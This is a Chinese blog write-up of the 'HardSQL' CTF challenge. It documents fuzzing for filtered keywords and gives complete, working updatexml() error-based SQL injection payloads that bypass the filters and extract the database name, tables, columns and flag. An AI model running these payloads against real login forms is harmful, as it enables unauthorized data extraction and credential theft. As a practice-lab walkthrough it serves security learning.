[极客大挑战 2019]HardSQL

本文详细讲述了在Web应用中发现并利用SQL注入漏洞的过程,从单引号测试、字符过滤绕过,到报错注入函数updatexml()的应用,最终成功获取数据库信息和flag。重点介绍了报错注入技巧及函数选择策略。
摘要由CSDN通过智能技术生成

web第24题
[极客大挑战 2019]HardSQL

打开靶场
在这里插入图片描述
首先尝试使用单引号
在这里插入图片描述
在这里插入图片描述
显然页面存在sql注入的
永真式进行登陆
在这里插入图片描述
在这里插入图片描述
继续尝试order by爆字段
在这里插入图片描述
在这里插入图片描述
那么说明很多字符都被过滤了
尝试双写进行绕过
在这里插入图片描述
在这里插入图片描述
依旧是不行
看了很多人的wp,他们都没说清楚如何知道对哪些关键字进行了过滤,直接给出了,我也不知道怎么来的
直接使用burpsuite对其进行fuzz,观察过滤了哪些关键字
参考:利用burpsuit对xss和sql注入进行fuzz
抓包发送至intruder模块
在这里插入图片描述
设置payload,网上找的一个字典
在这里插入图片描述
攻击
在这里插入图片描述
响应为密码错误,说明没有被过滤
在这里插入图片描述
相应为此页面,说明被过滤了
得到响应为751的没有被过滤,响应为736的都被过滤了,统计出一些常用的被过滤的符号:空格 ,注释符,and,by,=,sleep,/,~等

那么这个时候的思路就应该是报错注入了
报错注入可以使用很多函数,常用的有floor()函数,extractvalue()函数,updatexml()函数等
这里使用一下我不熟悉的updatexml()函数,参考:updatexml()报错注入
使用()代替空格,使用like代替=,使用^连接函数形成异或

构造注入语句(我是在用户中输入的)
1.查询数据库:

admin'or(updatexml(1,concat(0x7e,database()),1))#

在这里插入图片描述
得到数据库名为geek
2.查询表名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

在这里插入图片描述
得到表名H4rDsq1
3.查字段名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#

在这里插入图片描述
得到字段名为id,username,password
4.爆数据

admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#

在这里插入图片描述
知道数据库中第一条数据就是flag
额,好像flag没显示完
原因是报错内容最大字符数为32,后面的就不会再显示
这样,我们可以使用left和right函数先查左边,再查右边,然后拼接在一起就能得到flag

admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

在这里插入图片描述
flag{b1642242-538e-42e5-9f94-6

admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

在这里插入图片描述
2-538e-42e5-9f94-6f52d4694821}
拼接得到flag
flag{b1642242-538e-42e5-9f94-6f52d4694821}

做到这里突然反应过来出了一点小问题,我是在登陆框中使用admin用户然后拼接or语句,这里是因为刚好数据库中不存在admin用户所以我or后面的语句会执行,但是如果存在admin用户后面的语句可能不会执行,正确的做法应该是使用^连接报错函数,形成异或,这样前后两个运算符都会执行,可以看看其他师傅的wp

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值